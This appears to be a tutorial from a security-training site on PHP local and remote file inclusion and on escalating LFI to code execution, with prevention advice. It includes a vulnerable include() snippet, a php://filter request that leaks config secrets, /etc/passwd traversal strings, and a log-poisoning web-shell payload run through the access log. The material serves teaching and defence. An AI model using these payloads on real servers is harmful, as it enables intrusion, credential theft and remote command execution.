Server-side
File Inclusion: LFI, RFI, and the Road to RCE
What local and remote file inclusion are, how LFI becomes RCE through wrappers, log and session poisoning, and how to prevent it. With free labs.
Published

File inclusion is what happens when user input decides which file a server-side language loads, and that language then runs the file instead of just reading it. A feature meant to render ?page=about by including about.php is handed ?page=../../../../etc/passwd or ?page=php://filter/... instead, and the interpreter loads whatever you pointed at. The distinction from path traversal is the whole story: traversal reads bytes off disk, inclusion feeds those bytes to an interpreter, so a .php file you include executes, and a log file you can write to becomes a shell. Want to feel it rather than read about it? Sign up free and try it on a live target.
What is file inclusion?
The mental model in one sentence: input picks a file, and the interpreter runs it. An application builds a path from your input and hands it to a loader like PHP's include or require. If you supply a normal view name you get a normal page. If you supply a traversal sequence, a wrapper, or a URL, you control which file gets loaded and, crucially, executed.
This is overwhelmingly a PHP story, because include/require/include_once parse and run whatever they are given. The same pattern appears anywhere code is loaded by name, but PHP is where it bites hardest and most often.
LFI vs RFI vs path traversal
Three overlapping terms worth keeping straight:
- Local file inclusion (LFI) loads a file already on the server and runs or parses it.
- Remote file inclusion (RFI) loads a file you host elsewhere, so your code runs on the target. It needs a loose config and is mostly legacy.
- Path traversal bends a path to read a file outside the intended directory, returning the bytes without running them.
The same ../../../../etc/passwd confirms all three. The difference is what the app does with the file: return it (traversal) or load and run it (inclusion). For the raw traversal-string mechanics (separators, over-climbing, encoding bypasses) see path traversal. This cluster covers the execution side, and the first spoke draws the line in detail: LFI vs path traversal.
How the vulnerable code looks
It is almost always a routing convenience that trusted the parameter:
// vulnerable: the page name comes straight from the user into include()
$page = $_GET['page']; // page=../../../../etc/passwd or php://filter/...
include($page); // whatever this resolves to is parsed and RUNinclude does not just read the file, it executes any PHP inside it. That is why inclusion escalates to code execution while a plain read does not. The dangerous sinks are include, require, include_once, and require_once. Some apps append a fixed extension (include($page . ".php")) as a weak defense, which changes which targets you can reach and is handled in null byte and filter bypass.
Impact
Inclusion starts where traversal ends and keeps going:
- Source disclosure. Reading
index.phporconfig.phpas source (via a wrapper) reveals other bugs and hardcoded secrets. - Secrets and credentials.
.env,config.php, and framework config carry database passwords and API keys. - Authentication bypass. Leaked session secrets or keys can hand you accounts.
- Remote code execution. The headline. Point the include at a file you control the contents of (a poisoned log, your own session file, the process environment, or a wrapper-generated payload) and your code runs as the web user.
How to find it
Look for parameters that name a view or resource: page, file, template, lang, view, include, module. For each:
- Point it at a known file. Request the app's own base page (
?page=index.php) and watch whether it renders normally, which confirms the parameter drives a load. - Probe for the append. Request a path that cannot exist and read the error, which often leaks the include path and any appended extension.
- Confirm the sink executes. A
php://filterbase64 source read that returns the encoded source (not a rendered page) proves you are hitting an include, not a plain read.
The cheat sheet has a compact probe list.
From read to RCE
Each escalation route has its own spoke:
- PHP wrappers read source without executing it and, with a loose config, inject code directly. See PHP wrappers.
- Log poisoning writes PHP into a server log, then includes the log. See log poisoning to RCE.
- /proc and environ abuses the Linux process filesystem, which is powerful but SAPI-dependent. See /proc and environ exploitation.
- Session poisoning writes code into your own PHP session file, then includes it. See PHP session poisoning.
- Remote file inclusion loads a file you host, when the config allows it. See remote file inclusion.
A worked example
Say a page router loads views by name. You confirm the sink with a wrapper that returns source instead of a rendered page:
GET /index.php?page=php://filter/convert.base64-encode/resource=config.php HTTP/1.1
Host: target.exampleHTTP/1.1 200 OK
Content-Type: text/html
PD9waHAKJGRiX3VzZXIgPSAnYXBwJzsKJGRiX3Bhc3MgPSAnUzNjcjN0UGFzcyc7Cg==That base64 decodes to the PHP source of config.php, including the database password, which confirms an include sink and leaks a secret in one request. Now escalate to code execution over two requests. First, poison the access log by sending the payload in a header the server records (this request looks unremarkable):
GET / HTTP/1.1
Host: target.example
User-Agent: <?php system($_GET['c']); ?>Then include the log in a second request and pass the command. The log's contents come back around your output, which is expected:
GET /index.php?page=/var/log/apache2/access.log&c=id HTTP/1.1
Host: target.exampleHTTP/1.1 200 OK
Content-Type: text/html
... [earlier access-log lines] ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)The first request wrote the PHP payload into the access log via the User-Agent header, and including the log in the second executed it. That is the full arc: confirm the sink, read a secret, then turn the read into a shell. The log poisoning chapter covers the conditions in full.
Prevention
- Never put user input in
include/require. Map a key to a fixed path from a lookup table instead of building the path from the parameter. - Allow-list the permitted views. Reject anything not on the list rather than blacklisting
../, which is bypassable. basename()andstr_replace("../", "")are not controls. Both are defeated by encoding, nesting, and wrappers.- Disable
allow_url_include(andallow_url_fopen).allow_url_includeis the direct gate for RFI and thehttp:///data://include wrappers. Turning offallow_url_fopenremoves URL file reads as well. - Jail and least-privilege. Use
open_basedir, mount upload, log, and session directories non-executable, and ensure the web user cannot read other apps' secrets.
The full detail is in preventing file inclusion.
Where it connects
File inclusion is the execution side of a family. Path traversal is the read side: the same payload, but the bytes are returned instead of run. File upload feeds inclusion directly, since a zip:// or phar:// include can run code inside a file you uploaded, and an uploaded temp file can be reached through /proc/self/fd. And when you want other routes to running commands on a host, OS command injection is the neighbouring path to RCE.
Where to go next
Work through the cluster in order, or jump to what you need. Start with LFI vs path traversal to draw the line, then PHP wrappers and log poisoning to RCE. When you want every payload in one place, the LFI cheat sheet has them. And when you are ready to break something real, sign up free and start hacking.